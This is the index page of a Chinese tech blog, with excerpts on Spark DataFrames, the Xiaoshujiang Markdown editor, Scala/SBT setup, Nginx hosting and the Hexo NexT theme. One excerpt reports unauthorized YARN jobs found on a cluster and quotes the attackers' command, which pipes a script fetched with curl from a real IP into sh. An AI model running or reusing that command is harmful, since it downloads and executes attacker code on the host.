zhangnew

认真你就赢了

本文基于 Spark 2.x,除特殊说明,代码均为 Scala

函数详解

import

使用 DataFrame 通常需要 import org.apache.spark.sql.functions._,这里引入了 col, lit, udf, sum, max, avg, agg 等常用函数。函数源码

阅读全文 »

最近利用 Ambari 重新搭建了一个集群,今天发现 ResourceManager UI 里面有一些奇怪的作业,类型是 yarn,由 dr.who 提交的名为 MYYARN 的作业,最早从2018年4月30日开始,每隔几分钟就有一个,作业内容完全一样。

里面的关键一句命令是 exec /bin/bash -c "curl 193.22.96.25/x.sh | sh & disown",IP 来自俄罗斯,俄罗斯的黑客真是厉害呢。

阅读全文 »

小书匠是一个功(zhong)能(liang)强(ji)大的 MarkDown 文档编辑器,除了支持常规的 MarkDown 语法,还要很多扩展语法(代码高亮 ,gfm ,脚注 ,上标 ,下标 ,文字高亮 ,注音 ruby ,缩写定义 ,表格 ,emoji 表情 ,文字插入 ,文字居中 ,todo ,视频 ,音频 ,附件 ,属性 ,表格 ,合并单元格式表格 ,mathjax 数学公式 ,plantuml uml 图 ,mermaid 时序图,流程图,甘特图等 ,sequence 时序图 ,codeChunks 代码块执行 ,wavedrom ,nunjucks ,plot 统计图),多种编辑器,主题,以及自定义CSS等功能,支持印象笔记、Github、Dropbox 等,以及常见的各种图床。功能详见官网

轻量级的需求可以直接在官网上用在线版的就可以了,要想获取完整的体验还是需要下载客户端,全平台支持的(nwjs 开发的),非开源,其 Github 只是提 Issue 用的。

阅读全文 »

一直使用 Windows 下的 IDEA 做 Scala Spark 程序开发,打包后用 WinSCP 上传到服务器运行,很麻烦,所以就想在 Linux 服务器上部署 Scala、SBT 来编写 Spark 程序。再编写一些简单脚本,肯定可以使编译、打包、运行一气呵成。当然了,也是有缺点的,就是没有了 IDE,写代码就困难了(哭)。还有就是 vim 的支持情况,默认是不识别 scala 文件的。

阅读全文 »

Coding 又有了新的收费方式,会员制,正常免费用户可以使用 Coding Pages 自定义域名,但是访问的时候会显示 Coding Pages 5 秒,然后跳转,这是博主们万万不能接受的吧。黄金会员 199/年,暂时用不到,正好手头有一个 VPS 闲置,Nginx 搞起来。

阅读全文 »

Hexo 是高效的静态站点生成框架,她基于 Node.js。 通过 Hexo 你可以轻松地使用 Markdown 编写文章,除了 Markdown 本身的语法之外,还可以使用 Hexo 提供的 标签插件 来快速的插入特定形式的内容。在这篇文章中,假定你已经成功安装了 Hexo,并使用 Hexo 提供的命令创建了一个站点。

  • NexT 坚持将复杂的细节隐藏,提供尽量少并且简便的设置,保持最大限度的易用性。
  • 通过主题中的主题(亦称 Scheme),您可以方便地改变您博客的外观,同时几乎所有配置同样适用
  • 使用 第三方服务 来扩展站点的功能, NexT 支持多种常见第三方服务。
  • NexT 使用 Tomorrow 的代码高亮配色,只需要一行配置,即可选择您所喜爱的配色方案
阅读全文 »